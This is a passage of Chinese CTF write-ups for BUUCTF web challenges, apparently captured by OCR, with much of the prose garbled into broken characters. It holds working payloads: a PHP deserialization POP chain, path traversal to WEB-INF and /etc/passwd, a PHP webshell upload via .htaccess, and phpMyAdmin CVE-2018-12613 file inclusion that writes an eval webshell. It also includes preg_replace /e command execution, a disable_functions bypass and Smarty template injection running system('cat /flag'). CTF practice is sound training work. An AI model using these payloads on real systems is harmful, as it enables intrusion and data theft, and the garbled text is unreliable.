POST /?id=%4d%c9%68%ff%0e%e3%5c%20%95%72%dA4%77%7b%72%15%87%d3%6T%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%
Host: 43462al4-bc26-42c6-8bed4-0e003009cb62.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;qg=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

passwd=1234567a



234567)

i 1=('Tlag.php');
dis ('By R=tr_0'):

A — BRI RE, idMggfePiA Bt %:

POST /?id[]=1&gg[]=2 HTTP/1.1

Host: 43462al14-bc26-42c6-8be4-0e003009cb62.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

passwd=1234567a

8.[BUUCTF 2018]Online Tool
FEH# T RRCE, #%ds T Hg:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER[ 'REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];

if(!isset($_GET['host'])) {
highlight file(___FILE_ );
} else {
$host = $ GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER[ 'REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

e="color: #007700">=</span><span style="color: #DDO00D">"flag(ageg083a-87=d-472d-achs-24472echedad) "<hr /></span><span style="c

olor

+ HOODDEE">?6gt; </ span>



REMOTE_ADDRZE /R & HiERHZEENK IP #uhlk, BIZFmEIIP, (HERERREBEmRER, R
S U AR YE 2 P i ) ipHE B . FEIX BRATH 2

escapeshellarg()#2 7 7F 5 #1581 LLTE shell iy BAEH IS

escapeshellemd()5t F/F 5 R AT BE2 0w shell i & HATER S I F T X
HTR—Antkhashfi i, REMRYEIXA0E AR BRI 00 TE B REOVEILDHE .
SR JEPATNmapds 4

ix B ) f H #E escapeshellarg() fllescapeshellemd() R i 3 F BB & nmap iy 42 S 8RCE.

J,iX % 3 ZPHP escapeshellarg()+escapeshellcmd() 2%

9.[MRCTF2020]Ezpop


https://paper.seebug.org/164/

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%ES5%BA%8F%ES%88%97%E5%8C%O6%EI%AD%IA%E6%ICHAFILE
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);

class Show{

public $source;

public $str;

public function __construct($file="index.php"){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";

}

public function __toString(){
return $this->str->source;

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";

$this->source = "index.php";
}
}
}
class Test{
public $p;

public function __construct(){
$this->p = array();

public function __ get($key){
$function = $this->p;
return $function();

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);

}
else{
$a=new Show;
highlight_file(_ FILE_ );
}

i — T A



SHENKISH AT RFEFL, WL RERHE wakeup ik, W HAL—A 5244k 5 Show($a), 5t 2 A
_wakeup(), 1 $as B E Ssource. Frblik$ag — LB Show, X< A _tostring(),sAJ5 ik B
F1$aixA~Showk i i striiE N Test()3E, R ikstrixATest()3EH i pi & Modifier()2 .

&% payload:

<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;

¥

class Test{
public $p;

}

$a = new Show();

$b = new Show();

$c = new Test();

$d = new Modifier();
$c->p = $d;

$a->str = $c;
$b->source = $a;
$b->str = 'f';

$pop = serialize($b);
echo urlencode($pop);
// unserialize($pop);
?>

Zflag:

http://ee5ea954-b9b1-4a79-82f0-a668f6fa4111.node3.buuoj.cn/?
pop=0%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3/
encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bs%3A1%3A%22f%22%3

4 m | 3

10.[RoarCTF 2019]Easy Java
XEERAN A,

http://60102be3-8b97-41a3-b187-13abb27470be.node3.buuoj.cn/Download?filename=../web-inf/web.xml
i Eweb.xml
KW, BIFERGTAMEBEE:


http://ee5ea954-b9b1-4a79-82f0-a668f6fa4111.node3.buuoj.cn/?pop=O%253A4%253A%2522Show%2522%253A2%253A%257Bs%253A6%253A%2522source%2522%253BO%253A4%253A%2522Show%2522%253A2%253A%257Bs%253A6%253A%2522source%2522%253Bs%253A9%253A%2522index.php%2522%253Bs%253A3%253A%2522str%2522%253BO%253A4%253A%2522Test%2522%253A1%253A%257Bs%253A1%253A%2522p%2522%253BO%253A8%253A%2522Modifier%2522%253A1%253A%257Bs%253A6%253A%2522%2500%252A%2500var%2522%253Bs%253A57%253A%2522php%253A%252F%252Ffilter%252Fread%253Dconvert.base64-encode%252Fresource%253Dflag.php%2522%253B%257D%257D%257Ds%253A3%253A%2522str%2522%253Bs%253A1%253A%2522f%2522%253B%257D
http://60102be3-8b97-41a3-b187-13abb27470be.node3.buuoj.cn/Download?filename=../web-inf/web.xml

Request

Raw | Params

Headers

Hex

Response

Raw | Headers | Hex [ XML

1 FOST /Downlead HTTF/L.1

o

Host:
| User-Agent:
Accept:
. Accept-Language:
Aeeept-Encoding:
7 Connection:

o

o Content-Type:
10 Content-Length:

£0102be3-EbS7-41lai-h187-13abb27470be . noded . buuoj. cn
Mozilla/5.0
text/html, application/xhtml+xml, application/xml;

rv:78.0) Gecko/20100101 Firefox/78.0
.9, imags/webp, */ *; =0.8

zh-CN, zh; =0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US: q=0.3, en; q=0.2

gzip, deflate

(Vindows NT 10.0; Wingd; x64;

close
¢ Upgrade-Insecurs-Requssts
application/x-wwv-form-urlencoded

1

26

filename=./WEB-TNF/web.xml

A Th i B web.xml

WHExml, eHEflag

H

Request

Raw | Params

Headers

<servlets>

3

<gervlet-name>DownloadController</servilet-namss
<gservliet-class>com.wm.ctf.DownloadController</servlet-

<fservietcs
<gervlet-mapping>

<gervlet-name>DownloadController</servilet-namss

<url-patterns/Download</url-patterns>
</serviet-mapp ing>

<servilet>
<gervlet-name>F lagController</serviet—names>

1 HTTP/L.1 200 OK
Server: openresty
Date: Fri, 02 Jul 2021 08:34:50 GMT
Content-Type: application/wzml
Content-Length: 1562
Connection: close
Content-Disposition:

attachment; filenams=./WEE-INF/web.xml

'El <2xml version="1.0" encoding="UTF-8"2>

OB <web-app mlns="htep://xmlns.jep.org/wml/ns/javas
xmlns;xsi="http://www.w3.org/2001/ ¥iLSchena-instance"
zsi:schemalocation="http://xmlns.jep.org/xml/ns/javass

ntep://xmins.jep.org/sml/ns/ javase/web-app_4_0.xsar
version="4.0">

<welcome-file—lisc>
<welcoms-file>Index</welcome-£ile>
</welcome-file-list>

<serviet>
<ssrvlst-name>IndsxController</servlst—nams>
<servlet-class>com.um.ctf. IndexController</serviet-class»

</servlet>

<servlet-mapping>
<servlet-name>IndexController</servlst—nams>
<url-pattern>/ Index</url-pattern>

</servlet-mappings

<servlet>
<servlet-name>LoginController</servist—nams>
<servlet-class>com. wm.ctf.LoginController</servliet-class>

</servliet>

<servlet-mapping>
<zervlet-name>LoginController</servist—nans>
<url-pattern>/Login</url-pattern>

</servlet-mapping>

<gerviet-classrcom.wm.ctf.FlagController</servlet—-clas

</serviet>
<gerviet-mapping:>
<gervlet-name>F lagController</serviet—names>
<url-pattern>/Flag</url-patterns>
</servilet-mapping:>

Hex

Response

Raw | Headers | Hex

2 Hes
; User-Agent:
Acespt:
Accept-Languag:
Aceept-Encodin
Connesction:

)

Content-Type:

1 POST /Download HTTP/1.1
€010Zbe3-Bh87-41a3-b1E87-L3abh27470bs. noded .buued.cn
Mozilla/s.0
text/html,application/xhtml+xml, application/xml;

rvi78.0) Geeko/2010010L Firsfox/78.0
.9, imags/webp, */ *;q=0.8

5h-CHN, zh; q=0.8, 2h-TW; q=0.7, sh-HK; c=0. 5, en-U5; q=0.3, en; q=0.2

gzip, deflate

(Vindows NT 10.0; Wing4; ®&4;

© Upgrade-TInsecure-Requests: 1
application/x-www—form-ur lencoded
Content-Length: 58

filename=./WEB-INF/classes/com/wm/ctf/FlagController .class

445 Elflag:

T

HTTP/1.1 200 OK

Server: opencesty

Date: Fri, 02 Jul 2031 08:3B:36 GNT
Content-Type: application/java
Content-Length: 872

Connection: close
[ isposition: I ;filename=./WEB-INF/classes/con/wm/ctf/FlagController.c
00004+

oooo ooooooa

1000700 1agO0Ljava/ lang/Str ing; O0<init>00 () VOOCod=O0L i neNunber Tab 100doG=tOR {Ljavax/s¢
p3ervietRequest; Liavax/servlet/http/HutpServletResponse; | V0

Exceptions0#0s0

SourceFil=00F lagConcroller . javaOORunt imeVisibleAnnotationsOsLiavax/servlet/annotation
lagController AOAO<ZmxhZ3 SwTZUSNEgONS LM dmL TREN e YTU42C02 ) 1hZ TADM] cONEVECg==r
O%Me'De<hl>F lag is nearby ~ Come on! !

1</h1>0 (A *O03avax/serviec/hrep/EoepServietliavax/ serviet/ ServiecExcept ionddjava/ io/
servlet/http/HetpServletResponsed

getWriterO0 () Ljava/io/PrintWriter;00java/io/FrintUriterO0pr intO0(Ljava/ lang/String: )V
00040 ' 000 +00 *0000000

o

000000 . 000, 000N-0000000000000000000000000000=0




Jn|__|\'n _WEB-INF_classes_com_wm_ctf Flaglontroller. class i

= import java.io.IOException;
import java.ic.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.serwvlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

gWebServlet({name = "FlagController™)
= public class FlagController extends HttpServlet {
11 String flag = "ImxhZ3swYzUSNzg@MS1iMidmLTRKNZMEYTU4ZCEzY1hZTABM] cBNZVICE==""}

- protected void doGet({HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {

14 PrintWriter printWriter = paramHttpServletResponse.getWriter();
15 printWriter.print(”<hl1>Flag is nearby ~ Come on! ! !</h1>");
}
H
N
base64f# AT -

11.[GXYCTF2019]BabyUpload
F bR S

POST / HTTP/1.1

Host: 14f96271-0d5a-4bac-be8e-9a2elbl46f9e.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;qg=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=-----------------~--~-~—~-~-~--—- 10456691736927361994174175357
Content-Length: 388

Origin: http://14f96271-0d5a-4bac-be8e-9a2elb146f9e.node3.buuoj.cn

Connection: keep-alive

Referer: http://14f96271-0d5a-4bac-be8e-9a2e1b146f9e.node3.buuoj.cn/

Cookie: PHPSESSID=04342e490elf0laf7f2f61299b2cb38e

Upgrade-Insecure-Requests: 1

----------------------------- 10456691736927361994174175357
Content-Disposition: form-data; name="uploaded"; filename="233.png"
Content-Type: image/jpeg

<script language="php">eval($_GET[shell])</script>

----------------------------- 10456691736927361994174175357
Content-Disposition: form-data; name="submit"

----------------------------- 10456691736927361994174175357 - -



HTTP/1.1 200 OK

Server: openresty

Date: Wed, 16 Jun 2021 12:48:25 GMT
Content-Type: text/html
Content-Length: 349

Connection: keep-alive

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Pragma: no-cache

Vary: Accept-Encoding

X-Powered-By: PHP/5.6.23

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Upload</title>

<form action="" method="post" enctype="multipart/form-data">

a,ax ®a»9<input type="file" name="uploaded" />

<input type="submit" name="submit" value="a,d% " />
</form>/var/www/html/upload/9216b7d59fbb6d73fa9d4a6@6ac3f2b7/.htaccess succesfully uploaded!

k4% .htaccess)a17:

POST / HTTP/1.1

Host: 14f96271-0d5a-4bac-be8e-9a2elbl46f9e.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=------------------~—~-~--~-~---- 10456691736927361994174175357
Content-Length: 374

Origin: http://14f96271-0d5a-4bac-be8e-9a2elbl46f9e.node3.buuoj.cn

Connection: keep-alive

Referer: http://14f96271-0d5a-4bac-be8e-9a2el1b146f9e.node3.buuoj.cn/

Cookie: PHPSESSID=04342e490elf0laf7f2f61299b2cb38e

Upgrade-Insecure-Requests: 1

----------------------------- 10456691736927361994174175357
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

SetHandler application/x-httpd-php

----------------------------- 10456691736927361994174175357
Content-Disposition: form-data; name="submit"

----------------------------- 10456691736927361994174175357- -

e LR Z EWSIERN L, BEERRERag:

http://14f9627 1-0d5a-4bac-be8e-
9a2e1b146f9e.node3.buuoj.cn/upload/9216b7d59fbb6d73fa9d4a606ac3f2b7/233.png?
shell=show_source('/flag');

12, AR 2019]75 91 i 2 %
L FT A postfgetS R B H K —/MMuzz, R 2IAT A Fwebshell g 5k & Zlflag.


http://14f96271-0d5a-4bac-be8e-9a2e1b146f9e.node3.buuoj.cn/upload/9216b7d59fbb6d73fa9d4a606ac3f2b7/233.png?shell=show_source%2528%2527/flag%2527%2529;

13.[GXYCTF2019)2: 1L &£ &
GitHack.pyH— T 15 Z|JRARS:

<?php
include "flag.php";
echo "flagfEMFEME? <br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';" === preg_replace('/[a-z,_]+\((?R)?\)/"', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);

}
else{
die("BE—RH! ");
}
}
else{
die("FHiFIFAEE! ");
}
}
else{
die("MHiLflag, RBHA!I");
}
}
// highlight_file(__FILE_ );
?>

HIMRERCE, WREidIE 7 il RE T
#H (A it () T FTRARLESHRCE.,

if(';"' === preg_replace('/[*\W]+\((?R)?\)/"', "', $_GET['code'])) {
eval($_GET['code']);

}

RE LR, TAVEH SN TEE T E N R .

MZEN, ERBMNEMNESHBHEHER, HRAARFPTOTERELRa(b(c()));T&a();
BARRHa('123");

WRYE 2 Hr, HiEexp:

[?exp=print_r(scandir(pos(localeconv())));

% Flflag.php.

SR J5 #it/2exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
%flag.

14.[GWCTF 20191 A — /M =

& T &robots.txtk Bl —A~phpinfo.php, #*xF T —B¥AEY, H3—T HFHFE:
HE|—~/phpmyadmin/ L% E TF:



BEMEE LT
php & seecopqizoo  _____________________________________________________F

oo Databases sQL Status Export Import Settings Variables Charsets Engines Plugins

Recent Favorites

information_schema
[: s Server: mysql (mysql via TCP/IP)
o Server type: MysQL
* Server connection: SSL is not being used
2 * Server version: 5.5.62 - MySQL Community Server (GPL)
Appearance settings * Protocol version: 10
: ® User: test@10.0.43.9
* Server charset: UTF-8 Unicode (utf8)

test Server connection collation utf8mbd4_unicode_ci v

Language English v

Theme:  pmahomme v

« Fontsize: | 82% v
* Apache/2.4.29 (Ubuntu)

More settings » Database client version: libmysqgl - mysgind 5.0.12-dev - 20150407 -
$Id: 3591daad22de08524295e1bd073aceeff11e6579 $

* PHP extension: mysqli
® PHP version: 7.2.24-0ubuntu0.18.04.1

* Version information: 4.8.1
« Documentation

» Official Homepage

e Contribute

* Getsupport

« List of changes

e License

fRAR4.8.1, B—TNRAEE:

CVE-2018-12613
# phpmyadmin 4.8.1 @R XHE & (CVE-2018-12613)

phpMyAdmin@—EFIEN . ETFWebIMySQLEIEEEH T A, Hindex. phph FE—XMHEEZE, B - RREBITSERE, EB
Epe-f

- https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
- https://www.phpmyadmin.net/security/PMASA-2018-4/

#H IR

BATI T 454, Jashphpmyadmin 4.8.1:
docker-compose up -d

FEE)E, W http://your-ip:8080°, BIE[# Aphpmyadmin. FEEKI R “config”R, FIUTLEMATN, HEZEFtestlK/.
## A
ila " http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd’, A[ML> /etc/pas
'T1(1.png)
FIH TR ELE R 8, T LAAT—F SELECT '<?=phpinfo()?>'; , REEFHCKsessionid (cookieF phpMyAdminiifE) , RJE

'[1(2.png)

T MERAT .



PR — T http://673531b9-6468-4ae6-9e99-774f80e99a3.node3.buuoj.cn/phpmyadmin/index.php?
target=db_sql.php%253f/../../I../..1..I..1..]../letc/passwd:

B 7RSS s mysql:3306
O #iErE: | L] saL. G #RE B Stk B SA | L BB o) TBE = PHE | (g 31| & 6

rootx:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nolegin binx:2:2:bin:/bin:/usr/sbin/nologin sysx:3:3:sys;/dev:/usr/sbin/nolagin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/shin/nologin manx:6:12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _aptx:100:65534:/nonexistent:/usr/sbin/nologin

NI TR -
Zflag:

http://673531b9-6468-4ae6-9e99-774ff80e99a3.node3.buuoj.cn/phpmyadmin/index.php?
target=db_sql.php%253f/../../..1..1..I..1..1..]..[flag

LT iR 25 mysql-3306

W HiEE [ saL & HE = S & SA |
flag{ca05b79b-ad72-4261-96d2-6308fd7 ccdbf}

LHREHREXTAflag. BRHBASF — ., flaghERHERTIE?
BATIEIL XA K Eshell:
B SfEar AT BT

SELECT ~“<?php fputs(fopen("a.php","w"), '<?php eval($_POST[a]);?>');?> ;

SR Ja P iZ IR TR A& session X :

http://673531b9-6468-4ae6-9e99-774ff80e99a3.node3.buuoj.cn/phpmyadmin/index.php?
target=db_sql.php%253f/../../..I..1..I..1..]I..]..]..var/lib/php/sessions/sess_jrj22qgkjflc26fdlhrmad9e7r

X H session 4 i #5452 Msession L 4 4 & B H B & phpinfo&E, HNHEER.

BERZEREEH—A shell:
http://673531b9-6468-4ae6-9e99-774ff80e99a3.node3.buuoj.cn/phpmyadmin/a.php


http://673531b9-6468-4ae6-9e99-774ff80e99a3.node3.buuoj.cn/phpmyadmin/index.php?target=db_sql.php%25253f/../../../../../../../../etc/passwd
http://673531b9-6468-4ae6-9e99-774ff80e99a3.node3.buuoj.cn/phpmyadmin/index.php?target=db_sql.php%25253f/../../../../../../../../../flag
http://673531b9-6468-4ae6-9e99-774ff80e99a3.node3.buuoj.cn/phpmyadmin/index.php?target=db_sql.php%25253f/../../../../../../../../../../var/lib/php/sessions/sess_jrj22qgkjflc26fdlhrmad9e7r
http://673531b9-6468-4ae6-9e99-774ff80e99a3.node3.buuoj.cn/phpmyadmin/a.php

D Byl (11)

=t il
=P var

<

=-E www
=71 html

- I phpmyadmin

I doc

I sxamples
B

Im libraries
I locale
I setup
= =g

I templates
I themes
m tmp

I vendor

Z3|shell B Eflagitls T -
15.[BJDCTF2020]ZJCTF, Aid itk

<?php

error_reporting(0);

$text =

$_GET["text"];

$file = $_GET["file"];

if(isset($text)&&(file_get_contents($text, 'r')==="I have a dream")){

O A3k (119)

O -

DoODDLDODDEOO0OODODOCOOODCO

m
i

+EE
£

doc

examples

js

libraries

locale

setup

sql

templates

themes

tmp

vendor

.editorconfig
.eslintignore
.eslintrc.json
CODE_OF_COMDUCT.md
CONTRIBUTING.md
Changelog

DCO

FIlE

2 RlE

& EEF

AHE -~

echo "<br><hl>".file_get_contents($text, 'r')."</h1></br>";
if(preg_match("/flag/",$file)){

die("Not now!");

}
include($file);
}
else{
highlight_file(_ FILE_ );
?>
#it—F, BWRCHES.
¥ 1& payload:

//next.php

Jvar/www/html/phpmyadmin/

H#A
2019-12-04 12:27:58
2019-12-04 12:27:58
2019-12-04 12:28:00
2019-12-04 12:28:00
2019-12-04 12:28:00
2019-12-04 12:28:00
2019-12-04 12:28:00
2019-12-04 12:28:02
2019-12-04 12:28:02
2021-06-17 11:04:36
2019-12-04 12:28:04
2019-10-30 13:04:54
2019-10-30 13:04:54
2019-10-30 13:04:54
2019-10-30 13:04:54
2019-10-30 13:04:54
2019-10-30 13:04:54

2019-10-30 13:04:54

18b

99 b

4 Kb

4 Kb

4 Kb
137 b
141 b
4 Kb
99 b
18b
219b
274 b
24b
1.3 Kb
3.14 Kb
1.91 Kb
20.02 Kb
1.77 Kb

http://f64df42a-e9ff-42b9-913f-ee59f6b095ab.node3.buuoj.cn/?file=php://ffilter/convert.base64-
encode/resource=next.php&text=data://text/plain;base64,SSBoYXZIIGEgZHJIYWO0=

8 %next.php:

Bt

0755
0755
0755
0755
0755
0755
0755
0755
0755
0750
0755
0755
0755
0755
0755
0755
0755
0755


http://f64df42a-e9ff-42b9-913f-ee59f6b095ab.node3.buuoj.cn/?file=php://filter/convert.base64-encode/resource=next.php&text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
/(' . $re . ')/ei’,
"strtolower("\\1")',
$str

)5

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";

}

function getFlag(){
@eval($_GET['cmd']);
)

H 2% 22 )5 R preg_replacef)/etE R 5] & Y a B .

)i payload:
http://f64df42a-e9ff-42b9-913f-ee59f6b095ab.node3.buuoj.cn/next.php?
\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);

RE S — T A2 BIXEE:

A — /et A FR

16.[#% % KX Pk 2019]RCE ME

(N 2E

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");

}
if(preg_match("/[A-Za-z0-9]+/",%code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(_ FILE_ );
}
/] >

X 2 TG 7 B TE$ P webshell.


http://f64df42a-e9ff-42b9-913f-ee59f6b095ab.node3.buuoj.cn/next.php?%255CS*=$%257BgetFlag%2528%2529%257D&cmd=system%2528%2527cat%20/flag%2527%2529;

%
MEXEANE, RATEEN codelt x Zaid IEM .
A — T BUR IS«

<?php

$a="assert';

echo urlencode(~%$a)."++++";
$b="(eval($_POST[cm]))';
echo urlencode(~$b);

?>

SEE
%8F %97 %8F %96%91%99%90
%D7%9A%89%9E%93%D7 %DB%A0%B8%BA%AB%A4%9C %92 %A2%D6%D6

exp:

NGilbEE

B ShiRHiT b

URLtthyt = YeOE%L93%D 7% DB A0 AFY B0 AC  ABY AR C%P2 %A2%D6%D6);
EEEE tm
FlESEE

HRTIE B UTFg ~

JE T30 -
X HEEZ R

fas_bypass_php_disable_functions-masterfi# /& 2|4 & fjantDataH F T, G )5 B SCHF R4 1-
masterfilBr, FRFIRESARF.

R JE 1 EATIX A shell R X B HiEHFPHP_GC_UAFH K.

W EEN B — A B shelliEs, #iA/readflag, 75 %iflag:
AntSword REH HO BER

[ %5+ disable_functions-117.21.200.166

dé2fb354 4.19.164-0419164—generic #202

jE=7 N e
( H ) & /readflag
flag{3el05c4e-8615-4073-aff0-fda79ladcfse}

( : ) £

https://blog.csdn.net/shuaicenglou



https://www.e-learn.cn/content/php/1385759
http://dd580d6f-5dc4-45fa-bbab-af80ca2eaf87.node4.buuoj.cn/?code=%2528~%259E%258C%258C%259A%258D%258B%2529%2528~%25D7%259A%2589%259E%2593%25D7%25DB%25A0%25AF%25B0%25AC%25AB%25A4%259C%2592%25A2%25D6%25D6%2529;
https://github.com/Medicean/as_bypass_php_disable_functions

PERIX B AR N HLD_PRELOAD & putenv().

17.[BJDCTF2020]The mystery of ip

WEEIP, ikBA B T X-Forward-forixAMHTTP:k.

BET—T, RIAXForward-forE N . 251 B2 SmartyBEiRiEAN . &~z T EILRKS

SR J5 SSTIAT LAFI A tplmapix /4~ TR BEAT K2 B A BBE AR, AEE f&sqlmap, & &% T pythonk.
& g Rk, XFFMlclient-ip# e . KRILAT LAIEHIHIN «

GET /flag.php HTTP/1.1

Host: node3.buuoj.cn:29557

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtmi+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: http://node3.buuoj.cn:29557/

Upgrade-Insecure-Requests: 1

client-ip: {{1+1}}

PAT R4 4:

Request Response

Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
.
r

1 GET /flag.php HTTP/L.1
2 Host: neode3.buucd.cniZ@557

BJDCTF  Flag  Hint

t: Mozilla/5.0 (Windows
00101 Firefox/78.0

g ure-Requests:
10 client-ip: {{phpinto()}} Your IPis :

System Linux cced73f0ec07 4.19.164-0419164-gene:
x86_64
Build Date Dec 26 2019 22.24:37
Configurs Command e build=x86_6d-linux-musl ‘~with
i telphplcont.d" ‘—enable-option-

fith-¢
Qups W Gati’ -<dig able:coi b

H#cat /flag:


https://codechina.csdn.net/mirrors/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD?utm_source=csdn_github_accelerator
https://www.anquanke.com/post/id/175403

Request Response

Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
1 GET /flag.php HTTR/1.1

2 Host: node3.buuoj.cn:29557 BJDCTF  Flag Hint

3

Cwmaa o«

W

User-Agent: Mozilla/5.0 (Windows NT 10.0: Winf4: x4 rv:78.0)
Gecko/ 20100101 Firefox/78.0

Aceept:

text/html,application/xhtml+xml, application/xml;q=0.9, image/web
v, "/ *;q=0.8

Acoept-Languags:

zh-CHN, 2; q=0.8, zh-TW; q=0.7, zh-HE; =0, 5, en-US; q=0.3, en; q=0.2
hecept-Encoding: gzip, deflate

Connsction: closs

Refersr: hutp://noded.buuci.cn:29557/

Upgrade- Insecure-Requescs: 1

client-ip: [{systemi'cat /flag] |1}

Your IP is :
flag{aOcaefda-3ea3-
4c12-a582-

cac8abbaf9a7}
flag{aOcaefda-3ea3-
4¢12-a582-
cac8abbaf9a’}
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